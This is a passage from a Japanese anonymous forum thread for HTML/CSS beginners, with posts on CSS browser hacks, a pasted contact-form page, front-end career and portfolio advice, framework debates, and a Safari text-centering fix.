全称セレクタをわざわざ書く意味は?
この書き方だと::-ms-backdropそのものにも適用されるのでは?

195 :
無視させたいのでは?

196 :
これを作らないといけない
https://imgur.com/bh4GdxN

でもこの状態で止まってる
https://imgur.com/J0w5BWr

197 :
これってどうすればいいの?HTMlからアップしてみるよ

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="./css/normalize.css">
<link rel="stylesheet" href="./css/style.css">
<!-- 追記 -->
<link rel="stylesheet" href="./css/company.css">
<title>株式会社DIVE</title>
</head>
<body>
<div class="container">
<header class="header clearfix">
<a href="index.html">
<img src="./images/logo.png" class="logo_image">
</a>
<nav>
<ul class="top_menu clearfix">
<li><a href="index.html">ホーム</a></li>
<li><a href="business.html">事業内容</a></li>
<li><a href="company.html">会社概要</a></li>
<li><a href="contact.html">お問い合わせ</a></li>

198 :
</ul>
</nav>
</header>
<img src="./images/contact.png" class="image_area">
<div class="wrapper clearfix">
<aside class="side_menu">
<nav>
<ul>
<li><a href="#">事業内容</a></li>
<li><a href="#">会社概要</a></li>
<li><a href="#">お問い合わせ</a></li>
</ul>
</nav>
</aside>
<article class="content">
<form action="cgi-bin/formmail.cgi" method="post">
<p>
名前<input type="text" name="name" size="40">
</p>
<p>
メールアドレス<input type="text" name="name" size="40">
</p>

199 :
性別:<input type="radio" name="sex" value="male">男
<input type="radio" name="sex" value="female">女
</p>
<p>
お問い合わせ内容<input type="text" name="name" size="40">
</p>
<p>
<input type="submit" value="送信する">
</p>
</article>
</div>
<footer class="footer">
<p>Copyright © 2018 DIVE INC All RIGHTS RESERVED.</p>
</footer>
</div>
</body>
</html>

200 :
続いてCSS

/* 追記 */
.company tr{
height: 5rem;
}

.company th{
width: 100px;
background-color: #B1B1B1;
color: #fff;
/* 追記 */
border-bottom: solid 1px #fff;
}

.company td{
width: 560px;
padding-left: 1rem;
}
/* 追記 */
.company td{
border: solid 1px #B1B1B1;
}

201 :
/* 追加 */
.company {
border-collapse: collapse;
}
/* companyクラスの子要素であるtr要素の最後の要素のth要素を指定 */
.company tr:last-child th {
border-color: #B1B1B1;
}
input#submit_botton {
color: #fff;
}
.content {
width: 1480px;
}

202 :
子供の宿題じゃないんだから何丸投げしてんだよw

もう少しここがわからないとかあるだろ。
専門学校か知らんが、先生に聞いた方が早いだろ。
ここに聞くならもう少し詳細を聞けよ、教えてやるからさ。

203 :
ワロタ

204 :
>>194
_は通常あり得ない要素なので副作用が無い
-ms-langはIE7あたりにも適用されてしまうのを防止、ちなみにChromium版Edgeも適用外になる
*::-ms-backdropは当然適用されてしまうが要素をフルスクリーンにしなければ問題ないけど最初にやった人はそこまで考えて無い気がする

205 :
>>196
画像だけ見て適当に書いた。レスポンシブとかは考えてない。
https://jsfiddle.net/ncveoxzt/

206 :
>>189
JavaScriptが日本語(失笑)

207 :
>>188,189
90年代からやってる俺でもなんとかしてきたのに
今時の若者のお前らがそんなこと言うのは、なんか切ねえな


俺ら老害とは違うんだから
ブラウザの差なんてサラッと吸収しちゃってよ

208 :
>>207
いや実際は最近はブラウザ差異に対応そこまで苦労はしてないよ。

ただプログラム言語と比較すると、やっぱり迷走してるというか感性度低いと言わざるを得ない。
関数実装するだのしないだの、中途半端にアニメーションできるようになっただの(jsに任せておけよって思う)
徐々にできる範囲増やしていってもうなんだか何がしたいんだか何でもできるようにしたいんだかさ
明らかに以前とは役割変わってるじゃん。

なんだかんだで現場ではSCSSとかに依存してないとやってられないレベルだし。
そりゃIE6とか対応してた頃と比べりゃだいぶラクなったが、言語の完成度はどう見ても発展途上じゃん。

209 :
なんか理解が00年代のw3cで止まってる気がする…
煽りではなく
whatwgのドキュメントとか読んだらいいと思うよ

210 :
>>209
んなもんHTML5の草案時に読んだがほぼ無駄だったわ。
何故かわかる?

211 :
やれることと位置づけを変えた時点でもう完成してなかったって認めてるもんだろ。
しかもまだ全く完成してない。それは時代に合わせて変化という意味ではなく
そもそもの設計の部分で完成してない。

212 :
タグのアホみたいな多さがあるけど、使う使わないって宗教に近いと思う。
きっちり細かく使い尽くそうとする人間がたまに居てるし強要してくるのマジ勘弁。

213 :
結局コーディングもデザインも人付き合いも結婚も人生も
人と共同してやるとストレス半端ないよな。
自分でデザインからコーディングまで全部1人でやるからラクチンだわ
まあちっさい規模のサイトしか無理だけどさ。

214 :
>>212
ルビとかあっても使わんしなぁ

215 :
たしかにhtmlのタグの使い方は宗教みたいだよなぁ
10人いたら10人とも全部違う書き方するのがhtml+cssだからね・・・

216 :
プログラマーがWebやる意味が分からん
HTML・CSSはプログラミング言語じゃなくてデザイン言語だろう
デザインでひと括りにするのもそれはそれで問題だけど

217 :
>>204
なるほどねー
大方予想通りだが、Chromium版Edge…だと…?
::-ms-backdropに反応するんか?Edge入れる気無いから知らんけど

218 :
>>213
俺もそうだけど、歳取って不寛容になってるかも知れんな。
一人で小さいwebアプリを全部任せてもらう仕事のほうが伸び伸びできる

219 :
<?p●p
header('Content-Type: text/css; charset=utf-8');
include_once( 'config.php' ); // 設定の有るファイルを読み込むとか?
?>

<?p●p echo
$fuschia: #ff0081; ?>
<?p●p echo
$button-bg: $fuschia; ?>
<?p●p echo
$button-text-color: #fff;?>
<?p●p echo
$baby-blue: #f8faff;?>
?>
cssとp●pを同じファイルとして1つにしようとして元々cssだったファイルをphpに変えたのですが表示されません原因はわかりますでしょうか?

220 :
219の下に通常のCSSを羅列してるのですが仮サーバーにアクセスした時点で
このページは動作してませんとでます…

221 :
少しスレチかもしれん
差し支えなければ教えて
転職でhtmlやcssの知識のテストはパスするのに、ポートフォリオで落とされる
たぶん基礎は理解してるんだろうけど制作が甘いのかも
ポートフォリオってデザイン的な要素も考慮される?
みんなポートフォリオはどんなサイト作った?

222 :
自分向けの備忘録サイトをこれから作ろうと考えてますw

223 :
画像とボタンを横並びで揃える方法ってわかりませんかね…

224 :
>>216
> プログラマーがWebやる意味が分からん
> HTML・CSSはプログラミング言語じゃなくてデザイン言語だろう

プログラマーがHTMLやCSSを出力、操作するからだろ
なにもプログラマーがきれいな見た目を作れるように頑張れと言ってるわけじゃない
HTMLやCSSを正しく操作できるように頑張れと言ってる

HTMLタグは正しく使うべきだし、CSSでやるべきことをJavaScriptでしてはならない
そういう判断はHTML・CSSを知ってないと出来ないだろ

225 :
例えばページ内リンクをクリックしたときに
そのリンクの場所までスムースに移動したいという要望が出た時、
それをプログラマがやるかデザイナがやるか

プログラマに仕事が降ってきた時、それはデザイナの仕事だって
断るべきかもしれないだろ。対象ブラウザにIEが
含まれてないなら、これはCSSだけでできることだ。

もしIEが含まれていてプログラマが作るにしても、
JavaScriptで全部実装するべきか?
対応ブラウザならCSSを使ったほうが良いだろう

CSSを知らなければ、そういった判断もできない。
他にもチェックボックスをクリックした時の動作など
CSSでできることはたくさんある。

プログラマがHTML・CSSを知らんと余計なものを開発してしまう

226 :

何か会話食い違ってるけど
プログラマーにはC系とかJAVAとかPythonとかあるのに
いったい何のメリットがあってWebに来るのかって話

227 :
逆にWebデザイナーにはC系もJAVAもPythonも使えないわけだからね

228 :
自分はデザイン学校出身の元SEで、webサイト自体を作品だと思ってるからhtmlもcssもjavascriptもphpも出来るようになりたかった
作品をグラフィックソフトで作るかプログラムで作るかだけの違い

229 :
>>214
去年の後半
キッズ向けコンテンツやって気が狂うほど書いたわ
書くのダルすぎて
Rubyタグつけるプログラムまで書いた

230 :
>>226
ウェブ系があるからだろ
ウェブサービス系って言えばわかるか?

231 :
>>216
人間と同じで見た目も重要だろ。
爺臭いこと言うな。

232 :
Web系とそれ以外の組み込みとか業務系とかって労働環境が違いすぎるんだよな。
「なんでプログラマーがWeb系にいくか?」っていう流れではなく、気持ちよく働ける環境をIT業界に探しに言ったらWeb系に着いたって感じだな。
お菓子食いながらイヤホンしてSpotifyで好きな音楽聞きながら仕事できる業界ってなかなかないよ。連絡は基本Slackだし。

233 :
>>221
プログラマーではなく「コーダー」職でいくなら、
ポートフォリオって印象一発で決まるものだからデザイン的な要素の方がよっぽど大事だと思うよ。
今ならNuxt.jsで静的サイト作っておしゃれなサイトを真似しながら一個作れば十分就職できると思うけどね。
Nuxtならwebpack+babelが内包されてるからhtml+cssだけじゃなくて周辺の技術にも対応できるのがアピールできるしかなり有利だよ。
ポートフォリオサイト見たいw

234 :
おれもポートフォリオサイト見たいなあ
いろんな人のものを

235 :
>>219
スレチ

236 :
behanceにいろいろあるじゃん
外人のはやっぱバタ臭いけど

237 :
>>219
元々cssだったファイルをphpに…?
htmlだったファイルをphpにではなくて?
phpはおいといて、まずいつもの.htmlの拡張子で作るhtmlとcssをコーディングして
終わったらその拡張子をphpにする
そしたらページ先頭にphpの〈〉のやつで設定ファイル読み込んだり必要な処理入れる
その他動的部分を入れたい箇所に〈〉でコード書くだけ

238 :
>>228
webの技術だからこれが正解

239 :
>>221
なんの業種の求職してんのかしらないが
WEBデザイナーの募集でポートフォリで落とされるなら
デザインがダサイんだろ

240 :
>>232
プログラマーみんながそんなこと言い出したらWebデザイナーは瞬く間に淘汰され職を失う
才能持て余してるならPS5とか次世代ゲームの開発に行けばいいよ

241 :
素人がプログラミングに挑んでみて見えた境地
最初に挫折しやすい壁を越えるコツはどこに
https://toyokeizai.net/articles/-/324812

想像以上の難しさを実感
学習を始めてまず実感したのが、その想像以上の難しさだった。
文字を1字間違え、半角を全角にしただけでエラーが表示され、コンピューターはぴくりとも動かない。

学習中はとにかく疑問が無限に湧いた。冒頭に記したような真っ暗なトンネルの中でもがく日々が続いた。
部分部分の「正解」をいくらインプットしても、自分が望む作品のコードの書き方、つまり「個別解」がわからない――。
私が最初に直面したプログラミングの難しさは、この一言に尽きる。

「とくに対面型のスクールのほとんどは、学習の“方法”を教えるのが主で、細かいコードの書き方までは教えない」
「今はエンジニアが不足しており、報酬も高額。なので(いつでも質問できるような)労働集約的なビジネスは成り立たない」(同)。

242 :
ただ初心者にとってはその「ググり方」が難しい。確かにインターネット上
には、多くのコードの書き方が紹介されている。しかし、そのほとんどは
「理解している人」が書いており、初心者にはなじみのない用語が多く交じ
る。各々の用語や概念には膨大な周辺情報があり、どこまでググっても「全
体像」を理解できないのだ。

243 :
オブジェクト指向のとこで同じようなつまずきかたしたゎ
簡単で具体的なサンプル見つけてどうになったけど

244 :
>>242
ググって出てくるのは
理解してない人が「調べてみました」つって書いた奴ばかりな気がする

245 :
>>243
プログラムやHTML/CSSコーディングには
「こうしたら面倒だったから改善した結果、今はこうしている」
っていう面が多分にあるからね

その面倒さを知らずに結果だけいきなり身につけようとしても
わからないことは多いわな

246 :
>>233
Nuxtは使ったことない
ちょっと見てみる ありがとう

>>239
デザイナーではなくフロントエンドの募集
jsもバグないはずなんだけどなぁ

247 :
>>246
あぁ233の者だけど、フロントエンドの募集なんだ。
2020年の時点でフロントエンドエンジニアの募集で新卒募集で無い場合で考えるなら、
デザインは一旦置いといて、JavaScriptとjsフレームワーク(node.jsを基礎知識としてreactやvue.jsNuxt等)に重点を置いたほうがいいよ。
デザイン力を要求されるのはWebデザイナーであって、いわゆるフロントエンドエンジニアにはさほど要求されないパターンが多い。(数人規模のベンチャー企業除く)
はっきり言ってjsも初心者級でデザインもできないとすると、Webデザイナーとしてもフロントエンドとしても使えない状態だから落ちるのは目に見えてる。

例えばフロントエンド職として何か作るなら、デザイン部分はcssフレームワークに任せていいので、
「Nuxt.js+適当なcssフレームワークやらUIコンポーネントと組み合わせて作ってNetlifyでデプロイしました」くらい言って見せることができればまぁ話しは聞いてくれるでしょ。
そのサイト上で何か小さなアプリケーションをvueとかで作っとけばいい。jsの基礎さえできてれば2週間もかからずにできるから頑張れ。

248 :
横からすまんがね
reactやvue.jsNuxtは中規模、大規模開発向けで
小回りが利かないという話を聞いたので
やっぱり基本はjQueryだと思うよ
教材作ってる側も基本はHTML、CSS、jQueryの3つだと主張している

249 :
font-familyで "メイリオ", Meiryo とかな表記と英字表記を併記しているのは何故なのか?
英字表記だけでよくない?

250 :
Nuxt.js、react 、node.jsはアメリカだとシェア伸ばしてるけど
日本だと解説してるサイトも解説本も大してないから
まだまだ当分はjQueryだろうね
欧米では主力でも日本語解説ないと日本じゃ流行らんのですよ

251 :
いやいやreactもvue.jsもnuxt.jsも公式日本語になってるし日本語本も出まくってるよ。
もちろんjQueryもまだまだ主流なのは当たり前の事実だけど
さすがにここにいる人達は情報遅れすぎだわw
そもそもvue.jsは海外より日本国内の方が流行ってるよ海外は圧倒的にreactだけど

252 :
ちょっとスレチな話題だけ乗ってみる
Nuxtと比べてGatsbyってどうなん
静的生成に向くサイトだとアクセスがやたら軽くなるって話を聞いたけど

253 :
>>249
英語版WindowsだとMeiryo
日本語版Windowsだとメイリオ表記になってる
だから設定言語に限らず動作を統一する目的で併記するって感じでは?
メイリオとMeiryo UIは別のフォントだから注意

254 :
graphQL使いたいから弄ってみてるけど何かとクセがある
完成度上がったらスゴく楽そうなんだけどなぁ

255 :
>>254
おっとこれはGatsbyの話

256 :
海外は、React, next、日本は、Vue, nuxt だけど、
仮想DOM は、jQuery と共存できないから、
jQueryを使った、Bootstrap とも共存できない
Node.js は、Ruby のコピーで、Express は、Rails のコピーだから、
Node.js + Express、または、Ruby on Rails でも作れる
Ruby on Rails Part21
https://medaka.2ch.sc/test/read.cgi/php/1545146635/103
世界最速のこのサイトも、Rails。
他の言語では、こういうものを作れない
https://dev.to/

257 :
jQueryの去年の実績
https://w3techs.com/technologies/history_overview/javascript_library/all
Historical trends in the usage of javascript libraries for websites
73.5%  73.6%  73.7%  73.8%  73.9%  74.0%  73.9%  73.9%  74.1%  74.1%  74.1%  74.0%  74.1%  74.2%
結果+0.7%
https://w3techs.com/technologies/history_overview/javascript_library
Market share trends for JavaScript libraries
97.2%  97.3%  97.3%  97.3%  97.3%  97.3%  97.4%  97.4%  97.4%  97.5%  97.5%  97.5%  97.3%  97.4%
結果+0.2%

2011年より
28.3% 42.8% 54.5% 57.4% 61.5% 68.3% 71.9% 73.1% 73.6% 74.2%
74.0% 84.1% 90.2% 92.9% 94.5% 95.8% 96.4% 96.2% 97.3% 97.4%

258 :
>>256
> 仮想DOM は、jQuery と共存できないから、
> jQueryを使った、Bootstrap とも共存できない
まだそんな事言ってるのか?
jQuery、Bootstrap関係ない
仮想DOMは、標準DOM APIと共存できないというべきだろ
それが事実かどうかは置いといて、

259 :
>>247
むしろjavascriptはスクラッチである程度書ける
cssのが苦手かも
html→javascript→Node.js→jquery→css→sassって感じで習得した
あとsassやjquery使って出したのにsassやjquery書けます?って言われたからコード見られなくて見た目で判断されたのかとおもった
もう1つはコードのアピールしたいがために、「1サイト」って感じじゃなくて、「問い合わせページ」「サーバーからのファイル読み込み&結果表示ページ」とか機能別のページにして提出しちゃったんだけど、もしかしてこれもマイナスポイントなのかな
1サイト揃えて出した方が良かったんだろうか
>Nuxt.js+適当なcssフレームワーク
この方法見てみるね
というか、実はサーバーサイドの実務経験あるんだけど、サーバーサイドはポートフォリオ提出なんてないのに何でフロントエンドこんなにポートフォリオ提出多いんだ…
やっぱデザイン分野に属してるからかなぁ

260 :
YouTube の、雑食系エンジニア・KENTA の動画でも見れば?
ポートフォリオの作り方もあった
https://www.youtube.com/channel/UC_HLK-ksslL-Z_2wiIZDlMg

261 :
遅れてる遅れてるって
未だにIEなんだぞ日本は

262 :
>>259
BootstrapはSassの後でもいいの?

263 :
>>259
自分で書いたかどうかわかんないしね、そのコード
切ねえ話だけど、よほど最先端でない限り、技術はあって当然だから
あれが出来ますこれが出来ますは、プラスにはならないかもなあ
あれが出来ませんこれを知りませんが、マイナスになることはあっても

だから、そのコードを書くに至るまでの経緯の方が大事だろうね
欲しいのはコーディングマシンではなく
一緒に仕事する人間なので

264 :
外注すればいいコーディングのための人員を自社で持つってことは
コーディング以上の何かを求めてるっつーことなんで
その辺のアピールが必要なんじゃねえかな

265 :
>>259
機能ごとのページってなると確かに見た目が余りに質素だったのかもね、問い合わせフォームやファイル読み込み云々の機能が求められるのは主にバックエンドだからね。

今ってWebデザイナーとフロントエンドエンジニアって求められるスキルが少し違うので、所謂サイト制作受託系会社は前者(デザイン+html+css+js)、自社サービス開発系は後者(html+css+js+reactかvue.js)が比較的多い。

>>259自身がどちらの職種を目指すかによって提出するポートフォリオの内容と応募する企業のタイプ(こっちも大事)が変わる気がする。
話しを聞く限りポートフォリオはバックエンドやフロントエンド寄りで、応募してる企業は仕事内容がWebデザイナーの受託制作会社みたいなお互いミスマッチ感がするような。

266 :
>>224に一票だな

267 :
>>246
企業で採用担当してたことあるけど
フロントエンドなら、まずマークアップの基本理解ができてるか質問してたよ。
それとデバイス対応とブラウザ対応をどのレベルまで掘り下げて普段からやっていたか。
勤務経験がないとFirefoxしか見てないみたいな人って意外といるからね。
SEO施工の事は一応聞いてたけどそこまで重視してない。
まあ技術の判断60%、あとは人間的に一緒に働きたいと思えるかの部分が重要。

268 :
それとコーディングのスピードとミスの少なさ。
業務理解と柔軟さも現場では大事。
何回も説明しないと理解できないとかミスが多いのは雇いたくない。

269 :
いくらPFが作りこまれてたとしても
そんなの実はコピペしてきたとか
1ページに200000時間かけて作りこんだとか可能性だってあるわけで
そういう作品はあくまで参考程度にしかみてないよ。

270 :
最新技術の導入判断とか
新しい技術の開発とかは既存の社員(自社で実績のある社員)がやる事だから
新入社員には求めてない。
企業としては、生産性とか効率性、コストや調和の視点から考えてる事が多い。

271 :
まあ選考基準を簡単にまとめるなら

・仕事できる人かどうか
・一緒に働きたいか

この2点

272 :
人間性なんて入社した後じゃなきゃ分かるわけがない
なんとなく気に食わないから落とすなんてのは全職業、万国共通だよ

273 :
だいたいそんなのは企業側の都合
もしくは面接官の好みでどうとでもなるんだから気にするだけ無駄なんだよ

274 :
面接の質問は回答内容が正解かどうかが重要じゃなくて

回答がわからない時の正直さや誤魔化し方、
わからない時の対応の仕方や、得意でわかる時の答え方(ドヤり方)、
それと質問の理解の速さを見てるんだよ。

そういうのも含めて人間性。
もちろん本質は見えないかもしれないがかといってじゃあ輪を乱す人や
足を引っ張る人、給料赤字を垂れ流す人、それらを入社さているようだと
人事や面接官の才能が無いと判断される。

275 :
まぁでも具体的になんの職種を目指すかが重要だね
コーダーなのかウェブデザイナーなのかフロントなのか
昔より明確に分かれてきてるよ

276 :
まあ最近やたら始める人見かけるけど、
ほとんどの人は>>241と同じような状況になるんだろうな

277 :
まぁやろうと思って実際に行動する人は100人に10人
実際に継続して続けられる人はその内の1人くらいじゃない?
元々こういうのは昔から変わらず、SNS等で昔と比べて見える化しただけな気もする。

278 :
>>275
田舎の広告代理店とか制作会社だと
全部できる人募集+営業もディレクションも全部のせになるけどな
まぁ全部できたら会社で働く必要ないからまずそんな人材来ないけど

279 :
副業が解禁になりつつある今
会社から安定給料と社会的信用を貰っておきつつ
副業でも稼ぐのが一番いいぞ

280 :
ここにいる初心者たちが救いがあるって思うのは
まず勉強してきちんとこの業界で就職を考えている事だと思う。

イケハヤみたいなのに紐ついているネット中毒層は
動画サイトでプログラム学習すれば君も明日から独立開業でフリーランス!みたいな考えだからな。
我々の業界も舐められたもんだよ。
社会常識やこの業界の常識をしらずに荒らさないで欲しいところだ。

281 :
主語がでかい!

282 :
ここフリーランスも多いと思うけど
そんな頭ごなしに否定されてもねぇ

283 :
他の業界みたいに誰かのお店で下積みとか企業での経験も人脈づくりもせず
なんでweb業界ならいきなり素人が独立開業してやってけるって思ったの?

284 :
フリーランスも形態が色々あるからな
受託制作型の人とか企業常駐型の人とかね
ネット上の一部で憧れの的になってるのは前者な気がする

285 :
>>283
そのゴミどもに淘汰されるのどんな気持ち?

286 :
舐められて荒らされるのも当たり前な気がするけど
多分ここはそういう業界
それで自身が淘汰されるならそんなのただの自己責任だし

287 :
まあスマホ世代からすればWeb自体がオワコンになってきてるってのもあるんだけどね

288 :
>>287
ちょっと詳しく聞きたいんだけどw
スマホなんて単体じゃただのカメラみたいなもので、Webも含めたアプリケーションとの高い親和性で今の形が成り立っているモノだと思うのだが。
当たり前すぎて境界線がわからないって意味なわけ?

289 :
>>288
カメラ?というのはよく分からんけど
Webも含めたアプリケーションとの高い親和性で今の形が成り立っているモノというならその通りだろう
Webとアプリの境界が分からなくなってきてるってのもその通り

で、Webはどんどん効率化されて誰でも簡単に作れるようになってきてるし今後はさらに効率化が進む
だとすればもうWebで高収入を稼ぐのは無理
スキルのある人間はSE、PGに流れるはず

290 :
webプログラマーってのもあるのに
なんかシステムとソフ開とアプリ屋だけがSEとPGって勘違いしてない?

291 :
失敗するパターン
50歳、30年勤めた印刷機器の会社から理不尽なリストラにあいました
背水の陣で未経験ながら寿司屋のお店を開店してみました。
握り方は独学ですが結構家族からいつも評判良かったんです。

292 :
>>289
なんか後半の文章はWeb業界の中身を全く知らんのだろうなとしか言えない内容だなw
色々勘違いしてるとしか言いようがない

293 :
>>289は一度、空港の予約システムくらい作ってからwebを語ろうか

294 :
>>292
環境、世代が変われば見方なんて全く変わるんだけど
時代が変わってるという事実は素直に受け止めた方がいいんじゃない?

295 :
自分が客の立場だとして、>>291の店で食べたいか?
でも外からの店の見栄えとしては「寿司屋」なんだよな。
ちゃんと修行して鮮魚の仕入れから仕込みまで経験してのれん分けしても同じ「寿司屋」

296 :
>>294
為替のさ、1ドルが110円とかリアルタイム表示して取引できるwebサイトってよくあるけどさ
ああいうのってやっぱり君クラスだと簡単に作れるの?
https://fx.dmm.com/_img/fx/service/tool/plus/plus_point1.png

297 :
>>294
そういう所を突っ込んでるんじゃないだよな・・・
>>290も同じことを思ってるでしょう。
Webってフロントエンドだけだと思ってない?

298 :
世間には上流工程のSEですらIT土方と揶揄され舐められてる
SE、PGにすらなれなかった奴らなんてもっと舐められて当たり前だろうw

299 :
そうか?IT土方なんて呼び方するのって同じIT業界のやつだけじゃん。
しかもSI屋とかだけな。
外の業界のやつがIT業界の人間をIT土方なんて言ってるの見たことないわ

300 :
webプログラマーのお仕事内容はこんな感じ。
https://jp.indeed.com/Web-%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9E%E3%83%BC%E9%96%A2%E9%80%A3%E3%81%AE%E6%B1%82%E4%BA%BA

301 :
>>299
ニュース系の板はほとんど野次馬しかいないと思うけどIT系土方連呼されまくってるよ
まあその手のスレではそもそもWeb業界なんて認知すらされてない感じだけど

302 :
【歓迎するスキル】
HTML、CSS、JavaScript
Python、Django
PHP
C#

実際のwebシステム開発の現場だとAWS関連の知識必須って聞いたことあるがどうなん

303 :
>>301
リア友で言ってるやついる?

ちなみにネット民のIT業界率の高さは半端ないぞ。
文字でのコミュニケーションに慣れ切ったやつばっかりだしな。
昔は2chも圧倒的にPG関連の人が多かった。
「ぬるぽ」とかもプログラムかじってないとわからん言葉だしね。

304 :
>>302
会社の開発部隊の規模によるかね。
インフラ専任がいるなら用意されたものを少し触るくらいだし、
いないならEC2/S3/RDSと関連サービスちょこちょこできればとりあえずはいいと思う。

305 :
技術者不足の衝撃実態、従来型IT人材は2030年に10万人余る
https://tech.nikkeibp.co.jp/atcl/nxt/column/18/00166/050700030/
裏付けというわけじゃないけどこれ見るとやっぱり流れ的にはそうなんだと思うよ
バックエンドはそこまで影響あるかは分からないけど
フロントエンドに限って言えば相当厳しい

306 :
まあ今からプログラム勉強するならAIやIoTってのは間違いないと思うが、
日本に関しては、ゲーム関連のプログラム需要もそこそこ続くっしょ

307 :
ところでお前らスレタイ読めてますか?

308 :
初学でいきなりAIやIoTなんて無理無理
どちらも数学的な知識が要求されるしIoTなら電気・電子とその機器の知識が必須
ラズパイみたいな簡単なものならある程度はできるかも知れんが

ゲームに関してもスマホアプリならまだ敷居が低いだろうがコンシューマゲームはIoTと同じでハードを理解してないと無理
しかももうスマホアプリのレッドカーペットの時代は終わった

PCゲーの開発もあるだろうが日本じゃ需要薄

309 :
さすがにスレチすぎるから終わりにしろよその話題

310 :
次スレワッチョイありでスレ立てるか・・・

311 :
初心者ですが、NTML.CSS.javascript勉強しようと思います。ある程度できたら年収400万越えれますか?

312 :
NTMLじゃあ収入を得ることは難しい

313 :
>>311
そういうのはYesでもあるしNoでもあるからどうにも言えない質問だな
「こんど営業職しようと思ってトークを磨こうと思いますが年収○○万越えますか?」って言ってるようなものだよ。

314 :
dt ddを横並びにしたいです
どうしましょう?

315 :
dd dtちゃうわ!

316 :
>>314
dlに対してdisplay:flex;
flexについて学んだほうがいい、これからめちゃくちゃ使うだろうから

317 :
>>313
良い答えだな

318 :
>>312
これか
https://www.atmarkit.co.jp/bbs/phpBB/viewtopic.php?topic=6332&forum=7

319 :
>>302
いつもおもうんだがweb系でなんでCが必要になるのかっていう

320 :
PugとかSassって記述する時の言語で
実際にWEBにあげる時はHTMLやCSSに変換してファイル書き出ししないといかんのでしょ?
なんでわざわざPugとかSassで書くの?

321 :
ラクだから。
コンパイルって単語でぐぐるといいよ

322 :
Bootstrap も、SASS バージョンある

CSS では複雑なものは、絶対に作れない!
時間が無限に掛かって、バグるだけw

323 :
>>320
毎回秘伝のタレみたいなcssいじるか、
バニラ(まっさら)の生cssを作ってたら時間かかってさらに複雑でしゃあないので。

webpack使えば楽になるからいいよ、もう生のhtml+cssでやる気なんて起きない。
ソース変更後保存した時点で自動コンパイルしてブラウザまで自動リロードまでしてくれる。
cssもjsも圧縮してくれるし、autoprefixier使えばブラウザごとのprefixも勝手につけてくれる

webpackって何よ?ってなったらこっちみてね
https://qiita.com/soarflat/items/28bf799f7e0335b68186

324 :
>>319
C#は主に社内アプリだと思う
C++のwin32apiに比べれば簡単にGUIアプリ組めるし

Cに関しては組み込みとかが主な用途だと思うから用途が違う

325 :
昔、韓国の企業と提携してシステム作って、その関連サイト触った時、
ファイル開いたら見たことないプログラム書かれている部分があって恐怖感じたわ。

326 :
WebでC#ゆーたらASP.NETだろ

327 :
>>325
昔、オフショア外注屋さんにお願いしたとき
ファイル見たらコメントが半分以上スペイン語で泣いたわ

328 :
ドットインストール最強!w

329 :
>>320
HTMLやCSSより書くのが楽だから
あと変換されるのは上げるときではないよ
書いた端から自動で変換されていく
そうなるように環境を整えてから使うものなんよ

330 :
Nuxt.js触ってるけどこれいいねぇwebpackの設定とか細かいのもほとんどやってくれて、ルーティングも簡単だからコンパクトなサイト作る時に凄い便利。

331 :
テーブル関連にmin-widthは効かないって言われてるけどさ、試した感じ普通に効いてるように見える。
max-の方は全く効かんが。
どこか詳しく書いてるとこ知らん?

332 :
>>331
table-layoutプロパティとかかな。
まぁでも今時あんまテーブルタグは使わないかな、幅の狭いスマホで見るとき崩れやすいからね。
スマホでみてるときに綺麗に横スクロールできるライブラリ使用を前提で、ライブラリの仕様に寄せてコーディングしたほうがいい。

333 :
あ?偉そうに何様だ

334 :
tableタグにdisplay:blockでええがな

335 :
お前が勝手に決めるなや

336 :
え?

337 :
いや/////

338 :
べ、別に教えて欲しいわけじゃなかったんだからね!/////

339 :
どうしても修正できないため教えて下さい

Mac/iPhoneのsafariのみ、テキストの中央揃えが不完全になります
cssでtable要素にtext-align:center指定
h1・h2で、2行もしくは3行のテキストをいれると
各1行目だけが、少し左に寄ります。目測で0.5文字分程度です

1行目も左にずれるだけで、中央揃え自体は反映されているように見えます
2行目以下は問題なし

1行目を空白行(brのみ)にすると
2行目だけ左にずれる現象が同様に起こります。3行目以下は問題なし

Windowsのchrome、edge、IE、firefoxでは発生しません

初歩の初歩っぽい質問ですみません。よろしくお願いします

340 :
状況が分かりにくいので、とりあえず不具合は再現できなくてもいいから
↓に該当箇所のコードを抜粋して貼ってみて。テキストはダミーでいいから。

https://jsfiddle.net/

341 :
>>340
ありがとうございます
入力フォームが当方のMacでうまく表示されないので
明朝にWin環境でアップしてからまた相談に来ます

342 :
>>339=341です
これで見えるでしょうか?
https://jsfiddle.net/6pL07w9j/1/

343 :
tableタグに見出し入れるって…

344 :
テーブルでデザインっていつの時代…
ちゃんと勉強し直した方がいいのでは

345 :
safariのバグだか仕様だか知らんけど
文字列末尾とbrタグの間に空白文字があると省略されずに1文字分のスペース確保されるな
h?タグに限らず起こる

346 :
>>339
コードを晒してください
その説明だけではなんともなので

347 :
あごめんリロードしてなかった…

348 :
そもそもtableに見出しタグは必要ないんじゃないか?
基本的に記事内容を簡潔に表すものが見出しであって、
表や画像の説明などを見出しタグに入れるのは適切じゃないと思うよ。

349 :
>>345
省略されるって仕様あったっけ?

350 :
>>339=341=342です
回答してくださった方ありがとうございます
見出しは目立たせる意図程度しかないので文字装飾にでも置き換えます

本題の体裁崩れですが、safariの仕様?ということは
修正する方法は無いということでしょうか
safariで中央揃えにする代替方法があれば教えて下さい

351 :
cssにnormalize.css効かせてもだめなん?
それに加えて、>>345の通りなら空白いれなきゃうまくいくんじゃないの?

352 :
>>351
normalize.cssをhead直下に指定しましたが、だめでした
文字列末尾とbr間に空白はもともとありません
インデントを削除するということでしょうか?

353 :
reset.cssを使うのは業界ではデフォなの?

354 :
>>352
ホントに?改行やタブも空白だからね

355 :
>>353
どうだろうね
リセットにも色々あるけど
使ってる人の方が多いような気はする

流石にいちいちp要素書くたびに上下マージン消すのとかダルいし

356 :
>>354
改行を削除したら解消しました!!
的確な指摘を素早く下さり本当にありがとうございました
親切にご回答下さった皆様によいことがありますように

357 :
それ多分、改行削除っていうか、brタグを入れるなら行頭じゃなく行末に入れれば治る

358 :
あ?

359 :
ん?

360 :
た?

361 :
progateとドットインストールとhtml&cssの本1冊やったんだけど、次は何に手を出すべき?
cssフレームワーク?
sass、gulp、webpackは勉強した

362 :
>>361
次は自分の作品を作ってWeb上に公開、かな。
ベースの勉強はそれで十分だと思うよ、最近は座学やる人はめちゃくちゃいるけどその先にいつまで経っても実践にいかない人が散見されるから、
とりあえず実際に手を動かして何か作るのがよいかも。
